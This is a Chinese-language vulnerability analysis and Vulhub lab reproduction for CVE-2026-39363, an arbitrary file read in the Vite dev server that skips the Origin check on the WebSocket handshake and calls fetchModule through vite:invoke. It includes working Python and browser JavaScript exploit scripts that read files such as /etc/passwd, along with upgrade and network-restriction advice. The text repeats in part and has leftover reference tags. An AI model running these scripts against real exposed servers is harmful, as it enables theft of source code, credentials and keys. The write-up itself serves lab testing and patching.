🎯 漏洞概述CVE-2026-39363 是一个影响 Vite 开发服务器的高危任意文件读取漏洞。该漏洞允许攻击者在特定条件下,通过 WebSocket 连接绕过 server.fs 文件系统访问控制,读取服务器上的任意文件,如源码、环境变量、SSH 私钥等敏感信息。其 CVSS 评分为 8.2(高危)。 影响范围受影响版本:6.0.0 <= Vite < 6.4.27.0.0 <= Vite < 7.3.28.0.0 <= Vite < 8.0.5vite-plus <= 0.1.15安全版本:Vite >= 6.4.2Vite >= 7.3.2Vite >= 8.0.5vite-plus >= 0.1.16利用前提条件:服务器暴露: 开发者显式地将 Vite 开发服务器暴露到网络(例如使用 --host 或配置 server.host)。WebSocket 启用: 未通过 server.ws: false 禁用 WebSocket 功能。🔬 漏洞原理深度剖析该漏洞的利用分为三个关键步骤。1. 认证绕过:WebSocket 握手缺陷Vite 的 HMR(热模块替换)功能依赖 WebSocket 进行双向通信。其 WebSocket 服务在处理连接请求时,认证逻辑存在缺陷:如果请求包含 Origin 头,会进行 token 验证。如果请求不包含 Origin 头,则直接允许连接。这允许攻击者通过自定义脚本,在 WebSocket 握手时故意不发送 Origin 头,从而轻松绕过认证建立连接。2. RPC 调用:滥用 vite:invoke 事件建立 WebSocket 连接后,攻击者会发送一个自定义的 vite:invoke 事件。这是一个“远程过程调用(RPC)”通道,允许客户端调用 Vite 服务器内部的特定方法。3. 核心缺陷:fetchModule 未执行访问控制攻击者通过 vite:invoke 调用危险的 fetchModule 方法。该方法的任务是获取模块内容,但存在严重问题:在 HTTP 请求中,访问 /@fs/etc/passwd 这样的路径会受到 server.fs.allow 配置的限制。然而,通过 WebSocket 的 fetchModule 调用,并未执行相同的 server.fs 访问控制检查。这使得攻击者可以直接使用 file:// 协议配合 ?raw 或 ?inline 参数读取任意文件。💻 Vulhub 环境搭建与复现Vulhub 提供了预构建的 Docker 环境,可以快速搭建漏洞靶场。环境搭建获取环境: 从 Vulhub 官方 GitHub 仓库获取环境配置。bashgit clone --depth 1 https://github.com/vulhub/vulhub.git进入目录: 进入漏洞环境目录。bashcd vulhub/vite/CVE-2026-39363启动环境: 使用 Docker Compose 一键启动。bashdocker compose up -d环境启动后,访问 http://your-ip:5173 即可看到 Vite 欢迎页面。漏洞复现方法一:Python 脚本利用 (全自动)这种方式最直接,适合批量检测或深度利用。安装依赖: 安装 Python 的 websockets 库。bashpip install websockets编写利用脚本 (exploit.py):PYTHONimport asyncio import websockets import sys import json async def read_file(target_host, target_port, file_path): # 1. 构造 WebSocket URL,指定子协议 'vite-hmr' uri = f"ws://{target_host}:{target_port}" try: # 2. 连接 WebSocket,关键是不带 Origin 头 async with websockets.connect(uri, extra_headers={}) as websocket: print(f"[*] 已连接到 {uri}") # 3. 构造恶意 payload,调用 fetchModule # 注意:file_path 后要加上 ?raw 参数来获取文件内容[reference:33] payload = { "type": "custom", "event": "vite:invoke", "data": { "id": "send:1", "name": "fetchModule", "data": [f"file://{file_path}?raw"] } } # 4. 发送 payload await websocket.send(json.dumps(payload)) print(f"[*] 已发送 payload,尝试读取: {file_path}") # 5. 接收并打印响应 response = await websocket.recv() print(f"[+] 服务器响应:\n{response}") except Exception as e: print(f"[-] 发生错误: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print("用法: python exploit.py <目标IP> <端口> <文件路径>") print("示例: python exploit.py 192.168.1.100 5173 /etc/passwd") sys.exit(1) target_ip = sys.argv[1] target_port = sys.argv[2] file_to_read = sys.argv[3] asyncio.run(read_file(target_ip, target_port, file_to_read))执行脚本如果成功,你会看到服务器返回的 /etc/passwd 文件内容。SHELLSCRIPTpython exploit.py 192.168.1.100 5173 /etc/passwd方法二:浏览器开发者工具 (F12) 手动复现这种方法更直观,适合快速验证。打开目标页面: 在浏览器中访问目标的 Vite 应用页面(例如 http://<目标IP>:5173/)。打开开发者工具: 在页面上按 F12 键,打开开发者工具。切换到“控制台 (Console)”面板: 在开发者工具中,点击顶部的“控制台 (Console)”选项卡。输入并执行 JavaScript 代码:JS// 1. 定义目标地址和要读取的文件 const target = '192.168.1.100'; const port = '5173'; const fileToRead = '/etc/passwd'; // 2. 创建 WebSocket 连接,指定子协议 'vite-hmr' const ws = new WebSocket(`ws://${target}:${port}`, 'vite-hmr'); // 3. 连接打开时发送恶意 payload ws.onopen = () => { console.log('[*] WebSocket 连接已建立'); const payload = { type: 'custom', event: 'vite:invoke', data: { id: 'send:1', name: 'fetchModule', data: [`file://${fileToRead}?raw`] // 关键:file:// 协议 + ?raw 参数[reference:36] } }; ws.send(JSON.stringify(payload)); console.log(`[*] 已发送 payload,尝试读取: ${fileToRead}`); }; // 4. 接收并打印服务器响应 ws.onmessage = (event) => { console.log('[+] 服务器响应:', event.data); }; // 5. 错误处理 ws.onerror = (error) => { console.error('[-] WebSocket 错误:', error); };注意:由于浏览器安全策略的限制,你可能会遇到跨域或连接失败的问题。这个脚本主要用于演示攻击原理。在实际攻击中,攻击者会使用 Python 脚本等能完全控制 HTTP 头的工具。🛡️漏洞修复与防御立即升级: 这是最根本的解决方案。请将 Vite 升级到安全版本 (6.4.2, 7.3.2, 8.0.5 或更高)。切勿暴露开发服务器: 永远不要将 Vite 开发服务器直接暴露在公网或不信任的网络环境中。开发服务器仅应在本地开发机使用。网络层访问控制: 如果必须暴露,应通过防火墙等网络设备,严格限制只有可信 IP 才能访问 5173 端口。验证 WebSocket Origin: 可通过反向代理或 WAF 对 WebSocket 的 Origin 头进行验证。
🎯 漏洞概述
CVE-2026-39363 是一个影响 Vite 开发服务器的高危任意文件读取漏洞。该漏洞允许攻击者在特定条件下,通过 WebSocket 连接绕过 server.fs 文件系统访问控制,读取服务器上的任意文件,如源码、环境变量、SSH 私钥等敏感信息。其 CVSS 评分为 8.2(高危)。
影响范围
🔬 漏洞原理深度剖析
该漏洞的利用分为三个关键步骤。
1. 认证绕过:WebSocket 握手缺陷
Vite 的 HMR(热模块替换)功能依赖 WebSocket 进行双向通信。其 WebSocket 服务在处理连接请求时,认证逻辑存在缺陷:
这允许攻击者通过自定义脚本,在 WebSocket 握手时故意不发送 Origin 头,从而轻松绕过认证建立连接。
2. RPC 调用:滥用 vite:invoke 事件
建立 WebSocket 连接后,攻击者会发送一个自定义的 vite:invoke 事件。这是一个“远程过程调用(RPC)”通道,允许客户端调用 Vite 服务器内部的特定方法。
3. 核心缺陷:fetchModule 未执行访问控制
攻击者通过 vite:invoke 调用危险的 fetchModule 方法。该方法的任务是获取模块内容,但存在严重问题:
💻 Vulhub 环境搭建与复现
Vulhub 提供了预构建的 Docker 环境,可以快速搭建漏洞靶场。
环境搭建
bash
bash
bash环境启动后,访问 http://your-ip:5173 即可看到 Vite 欢迎页面。
漏洞复现
方法一:Python 脚本利用 (全自动)
这种方式最直接,适合批量检测或深度利用。
bash
方法二:浏览器开发者工具 (F12) 手动复现
这种方法更直观,适合快速验证。
注意:由于浏览器安全策略的限制,你可能会遇到跨域或连接失败的问题。这个脚本主要用于演示攻击原理。在实际攻击中,攻击者会使用 Python 脚本等能完全控制 HTTP 头的工具。
🛡️漏洞修复与防御